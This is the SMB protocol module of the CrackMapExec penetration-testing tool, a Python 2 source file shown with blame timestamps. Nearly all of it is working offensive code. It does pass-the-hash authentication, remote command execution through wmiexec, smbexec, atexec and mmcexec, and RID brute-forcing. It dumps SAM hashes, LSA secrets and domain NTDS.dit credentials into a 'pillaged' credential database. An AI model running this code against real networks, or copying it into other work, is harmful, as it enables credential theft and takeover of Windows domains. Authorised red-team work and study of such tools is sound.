NetExec/cme/protocols/smb.py

896 lines
40 KiB
Python
Raw Normal View History

2017-03-27 21:09:36 +00:00
# -*- coding: utf-8 -*-
import socket
import os
import ntpath
from StringIO import StringIO
from impacket.smbconnection import SMBConnection, SessionError
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.nmb import NetBIOSError
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.rpcrt import DCERPCException
2017-03-27 21:09:36 +00:00
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.dcom.wmi import WBEM_FLAG_FORWARD_ONLY
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from cme.connection import *
2017-03-27 21:09:36 +00:00
from cme.logger import CMEAdapter
from cme.servers.smb import CMESMBServer
from cme.protocols.smb.wmiexec import WMIEXEC
from cme.protocols.smb.atexec import TSCH_EXEC
from cme.protocols.smb.smbexec import SMBEXEC
2017-03-27 21:09:36 +00:00
from cme.protocols.smb.mmcexec import MMCEXEC
from cme.protocols.smb.smbspider import SMBSpider
from cme.helpers.logger import highlight
from cme.helpers.misc import *
from cme.helpers.powershell import create_ps_command
from pywerview.cli.helpers import *
from pywerview.requester import RPCRequester
from time import time
from datetime import datetime
2017-03-27 21:09:36 +00:00
from functools import wraps
smb_share_name = gen_random_string(5).upper()
smb_server = None
def requires_smb_server(func):
def _decorator(self, *args, **kwargs):
global smb_server
global smb_share_name
get_output = False
payload = None
methods = []
try:
payload = args[0]
except IndexError:
pass
try:
get_output = args[1]
except IndexError:
pass
try:
methods = args[2]
except IndexError:
pass
if kwargs.has_key('payload'):
payload = kwargs['payload']
if kwargs.has_key('get_output'):
get_output = kwargs['get_output']
if kwargs.has_key('methods'):
methods = kwargs['methods']
if not payload and self.args.execute:
if not self.args.no_output: get_output = True
if get_output or (methods and ('smbexec' in methods)):
if not smb_server:
#with sem:
2017-03-27 21:09:36 +00:00
logging.debug('Starting SMB server')
smb_server = CMESMBServer(self.logger, smb_share_name, verbose=self.args.verbose)
smb_server.start()
output = func(self, *args, **kwargs)
if smb_server is not None:
#with sem:
2017-03-27 21:09:36 +00:00
smb_server.shutdown()
smb_server = None
return output
return wraps(func)(_decorator)
class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
2017-03-27 21:09:36 +00:00
self.os_arch = 0
self.hash = None
self.lmhash = ''
self.nthash = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.signing = False
2017-03-27 21:09:36 +00:00
self.smb_share_name = smb_share_name
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
2017-03-27 21:09:36 +00:00
smb_parser = parser.add_parser('smb', help="own stuff using SMB and/or Active Directory", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
smb_parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
2017-03-27 21:09:36 +00:00
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, type=str, help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
2017-03-27 21:09:36 +00:00
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='enumerate disks')
egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated')
egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
2017-03-27 21:09:36 +00:00
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
2017-03-27 21:09:36 +00:00
sgroup.add_argument("--content", action='store_true', help='enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
sgroup.add_argument("--only-files", action='store_true', help='only spider files')
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'SMB',
'host': self.host,
'port': self.args.smb_port,
'hostname': u'{}'.format(self.hostname)
})
2017-03-27 21:09:36 +00:00
def get_os_arch(self):
try:
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
except DCERPCException, e:
if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect()
2017-03-27 21:09:36 +00:00
return 32
else:
dce.disconnect()
2017-03-27 21:09:36 +00:00
return 64
except Exception as e:
2017-03-27 21:09:36 +00:00
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0
def enum_host_info(self):
#Get the remote ip address (in case the target is a hostname)
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
remote_ip = self.conn.getRemoteHost()
try:
self.conn.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
self.host = remote_ip
2017-03-27 21:09:36 +00:00
self.domain = self.conn.getServerDomain()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
2017-03-27 21:09:36 +00:00
self.os_arch = self.get_os_arch()
self.signing = self.conn.isSigningRequired()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
if not self.domain:
self.domain = self.hostname
self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)
try:
'''
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#Re-connect since we logged off
self.create_conn_obj()
def print_host_info(self):
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname.decode('utf-8'),
self.domain.decode('utf-8'),
self.signing))
2017-03-27 21:09:36 +00:00
def plaintext_login(self, domain, username, password):
try:
self.conn.login(username, password, domain)
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.add_admin_user('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
return False
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
self.conn.login(username, '', domain, lmhash, nthash)
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
return False
def create_conn_obj(self):
try:
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
except socket.error:
return False
except Exception as e:
logging.debug('Error creating SMB connection: {}'.format(e))
return False
return True
def check_if_admin(self):
lmhash = ''
nthash = ''
if self.hash:
if self.hash.find(':') != -1:
lmhash, nthash = self.hash.split(':')
else:
nthash = self.hash
self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)
def gen_relay_list(self):
if self.server_os.lower().find('windows') != -1 and self.signing is False:
with sem:
with open(self.args.gen_relay_list, 'a+') as relay_list:
if self.host not in relay_list.read():
relay_list.write(self.host + '\n')
@requires_admin
2017-03-27 21:09:36 +00:00
@requires_smb_server
def execute(self, payload=None, get_output=False, methods=None):
if self.args.exec_method: methods = [self.args.exec_method]
2017-03-27 21:09:36 +00:00
if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
for method in methods:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
logging.debug('Error executing command via wmiexec, traceback:')
logging.debug(format_exc())
continue
2017-03-27 21:09:36 +00:00
elif method == 'mmcexec':
try:
exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
logging.debug('Executed command via mmcexec')
break
except:
logging.debug('Error executing command via mmcexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
logging.debug('Error executing command via atexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue
if hasattr(self, 'server'): self.server.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
return self.execute(create_ps_command(payload), get_output, methods)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
#hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
permissions = []
try:
for share in self.conn.listShares():
share_name = share['shi1_netname'][:-1]
share_remark = share['shi1_remark'][:-1]
share_info = {'name': share_name, 'remark': share_remark, 'access': []}
read = False
write = False
try:
self.conn.listPath(share_name, '*')
read = True
share_info['access'].append('READ')
except SessionError:
pass
try:
self.conn.createDirectory(share_name, temp_dir)
self.conn.deleteDirectory(share_name, temp_dir)
write = True
share_info['access'].append('WRITE')
except SessionError:
pass
permissions.append(share_info)
#self.db.add_share(hostid, share_name, share_remark, read, write)
self.logger.success('Enumerated shares')
self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
for share in permissions:
name = share['name']
remark = share['remark']
perms = share['access']
self.logger.highlight('{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
except Exception as e:
self.logger.error('Error enumerating shares: {}'.format(e))
return permissions
2017-03-27 21:09:36 +00:00
def get_dc_ips(self):
dc_ips = []
for dc in self.db.get_domain_controllers(domain=self.domain):
dc_ips.append(dc[1])
2017-03-27 21:09:36 +00:00
if not dc_ips:
dc_ips.append(self.host)
2017-03-27 21:09:36 +00:00
return dc_ips
def sessions(self):
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
2017-03-27 21:09:36 +00:00
self.logger.success('Enumerated sessions')
for session in sessions:
if session.sesi10_cname.find(self.local_ip) == -1:
self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))
return sessions
def disks(self):
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
2017-03-27 21:09:36 +00:00
self.logger.success('Enumerated disks')
for disk in disks:
self.logger.highlight(disk.disk)
return disks
def local_groups(self):
groups = []
2017-03-27 21:09:36 +00:00
#To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
for dc_ip in self.get_dc_ips():
try:
groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
list_groups=True if not self.args.local_groups else False, recurse=False)
if self.args.local_groups:
self.logger.success('Enumerated members of local group')
else:
self.logger.success('Enumerated local groups')
for group in groups:
if group.name:
if not self.args.local_groups:
self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
2017-03-27 21:09:36 +00:00
self.db.add_group(self.hostname, group.name)
else:
domain, name = group.name.split('/')
self.logger.highlight('{}\\{}'.format(domain.upper(), name))
try:
group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
except IndexError:
2017-03-27 21:09:36 +00:00
group_id = self.db.add_group(domain, self.args.local_groups)
# yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
# (╯°□°)╯︵ ┻━┻
if not group.isgroup:
self.db.add_user(domain, name, group_id)
elif group.isgroup:
self.db.add_group(domain, name)
break
2017-03-27 21:09:36 +00:00
except Exception as e:
self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))
return groups
2017-03-27 21:09:36 +00:00
def groups(self):
groups = []
for dc_ip in self.get_dc_ips():
if self.args.groups:
try:
groups = get_netgroupmember(dc_ip, '', self.username, password=self.password,
lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
full_data=False, custom_filter=str())
self.logger.success('Enumerated members of domain group')
for group in groups:
self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))
try:
group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
except IndexError:
group_id = self.db.add_group(group.groupdomain, self.args.groups)
if not group.isgroup:
self.db.add_user(group.memberdomain, group.membername, group_id)
elif group.isgroup:
self.db.add_group(group.groupdomain, group.groupname)
break
except Exception as e:
self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
else:
try:
groups = get_netgroup(dc_ip, '', self.username, password=self.password,
lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
queried_username=str(), queried_domain=str(), ads_path=str(),
admin_count=False, full_data=True, custom_filter=str())
self.logger.success('Enumerated domain group(s)')
for group in groups:
self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))
if bool(group.isgroup) is True:
# Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
_,domain = group.distinguishedname.split(',')[-2].split('=')
self.db.add_group(domain, group.samaccountname)
break
except Exception as e:
self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))
return groups
2017-03-27 21:09:36 +00:00
def users(self):
users = []
for dc_ip in self.get_dc_ips():
2017-03-27 21:09:36 +00:00
try:
users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash,
nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
custom_filter=str())
self.logger.success('Enumerated domain user(s)')
2017-03-27 21:09:36 +00:00
for user in users:
if not self.args.users:
_,domain = user.distinguishedname.split(',')[-2].split('=')
self.logger.highlight('{}\\{:<40} badpwdcount: {} badpwdtime: {}'.format(domain, user.samaccountname, user.badpwdcount, user.badpasswordtime))
self.db.add_user(domain, user.samaccountname)
else:
for k,v in vars(user).iteritems():
self.logger.highlight('{:<40} {}'.format(k + ':',v))
break
2017-03-27 21:09:36 +00:00
except Exception as e:
logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))
return users
2017-03-27 21:09:36 +00:00
def loggedon_users(self):
loggedon = []
try:
loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
self.logger.success('Enumerated loggedon users')
for user in loggedon:
self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
except Exception as e:
self.logger.error('Error enumerating logged on users: {}'.format(e))
2017-03-27 21:09:36 +00:00
return loggedon
def pass_pol(self):
return PassPolDump(self).enum()
@requires_admin
def wmi(self, wmi_query=None, namespace=None):
records = []
if not namespace:
namespace = self.args.wmi_namespace
try:
rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
rpc._create_wmi_connection(namespace=namespace)
if wmi_query:
query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
else:
query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
except Exception as e:
self.logger.error('Error creating WMI connection: {}'.format(e))
return records
while True:
try:
wmi_results = query.Next(0xffffffff, 1)[0]
record = wmi_results.getProperties()
records.append(record)
for k,v in record.iteritems():
self.logger.highlight('{} => {}'.format(k,v['value']))
self.logger.highlight('')
except Exception as e:
if str(e).find('S_FALSE') < 0:
raise e
else:
break
return records
def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
spider = SMBSpider(self.conn, self.logger)
self.logger.info('Started spidering')
start_time = time()
if not share:
spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
self.args.regex, self.args.exclude_dirs, self.args.depth,
self.args.content, self.args.only_files)
else:
spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)
self.logger.info("Done spidering (Completed in {})".format(time() - start_time))
return spider.results
def rid_brute(self, maxRid=None):
entries = []
if not maxRid:
maxRid = self.args.rid_brute
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
}
try:
stringbinding = KNOWN_PROTOCOLS[self.args.smb_port]['bindstr'].format(self.host)
logging.debug('StringBinding {}'.format(stringbinding))
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.args.smb_port)
if KNOWN_PROTOCOLS[self.args.smb_port]['set_host']:
rpctransport.setRemoteHost(self.host)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
except Exception as e:
self.logger.error('Error creating DCERPC connection: {}'.format(e))
return entries
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
self.logger.success('Brute forcing RIDs')
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid/SIMULTANEOUS+1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in xrange(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException, e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
rid = soFar + n
domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
user = item['Name']
sid_type = SID_NAME_USE.enumItems(item['Use']).name
self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})
soFar += SIMULTANEOUS
dce.disconnect()
return entries
def enable_remoteops(self):
if self.remote_ops is not None and self.bootkey is not None:
return
try:
self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
self.remote_ops.enableRegistry()
self.bootkey = self.remote_ops.getBootKey()
except Exception as e:
self.logger.error('RemoteOperations failed: {}'.format(e))
@requires_admin
def sam(self):
self.enable_remoteops()
2017-03-27 21:09:36 +00:00
host_id = self.db.get_computers(filterTerm=self.host)[0][0]
def add_sam_hash(sam_hash, host_id):
add_sam_hash.sam_hashes += 1
self.logger.highlight(sam_hash)
username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
add_sam_hash.sam_hashes = 0
if self.remote_ops and self.bootkey:
2017-03-27 21:09:36 +00:00
#try:
SAMFileName = self.remote_ops.saveSAM()
SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))
self.logger.success('Dumping SAM hashes')
SAM.dump()
SAM.export(self.output_filename)
2017-03-27 21:09:36 +00:00
self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))
#except Exception as e:
#self.logger.error('SAM hashes extraction failed: {}'.format(e))
try:
self.remote_ops.finish()
except Exception as e:
2017-03-27 21:09:36 +00:00
logging.debug("Error calling remote_ops.finish(): {}".format(e))
2017-03-27 21:09:36 +00:00
SAM.finish()
@requires_admin
def lsa(self):
self.enable_remoteops()
2017-03-27 21:09:36 +00:00
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
self.logger.highlight(secret)
add_lsa_secret.secrets = 0
if self.remote_ops and self.bootkey:
2017-03-27 21:09:36 +00:00
SECURITYFileName = self.remote_ops.saveSECURITY()
2017-03-27 21:09:36 +00:00
LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))
2017-03-27 21:09:36 +00:00
self.logger.success('Dumping LSA secrets')
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
2017-03-27 21:09:36 +00:00
self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
self.output_filename + '.lsa', self.output_filename + '.cached'))
try:
self.remote_ops.finish()
except Exception as e:
2017-03-27 21:09:36 +00:00
logging.debug("Error calling remote_ops.finish(): {}".format(e))
2017-03-27 21:09:36 +00:00
LSA.finish()
@requires_admin
def ntds(self):
self.enable_remoteops()
2017-03-27 21:09:36 +00:00
use_vss_method = False
NTDSFileName = None
host_id = self.db.get_computers(filterTerm=self.host)[0][0]
def add_ntds_hash(ntds_hash, host_id):
2017-03-27 21:09:36 +00:00
add_ntds_hash.ntds_hashes += 1
self.logger.highlight(ntds_hash)
if ntds_hash.find('$') == -1:
if ntds_hash.find('\\') != -1:
domain, hash = ntds_hash.split('\\')
else:
domain = self.domain
hash = ntds_hash
try:
username,_,lmhash,nthash,_,_,_ = hash.split(':')
parsed_hash = ':'.join((lmhash, nthash))
if validate_ntlm(parsed_hash):
self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
logging.debug("Dumped hash is a computer account, not adding to db")
2017-03-27 21:09:36 +00:00
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
if self.remote_ops and self.bootkey:
try:
2017-03-27 21:09:36 +00:00
if self.args.ntds is 'vss':
NTDSFileName = self.remote_ops.saveNTDS()
use_vss_method = True
NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
justUser=None, printUserStatus=False,
perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))
2017-03-27 21:09:36 +00:00
self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
NTDS.dump()
self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
highlight(add_ntds_hash.added_to_db)))
except Exception as e:
2017-03-27 21:09:36 +00:00
#if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
2017-03-27 21:09:36 +00:00
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
self.logger.error(e)
2017-03-27 21:09:36 +00:00
try:
self.remote_ops.finish()
except Exception as e:
logging.debug("Error calling remote_ops.finish(): {}".format(e))
2017-03-27 21:09:36 +00:00
NTDS.finish()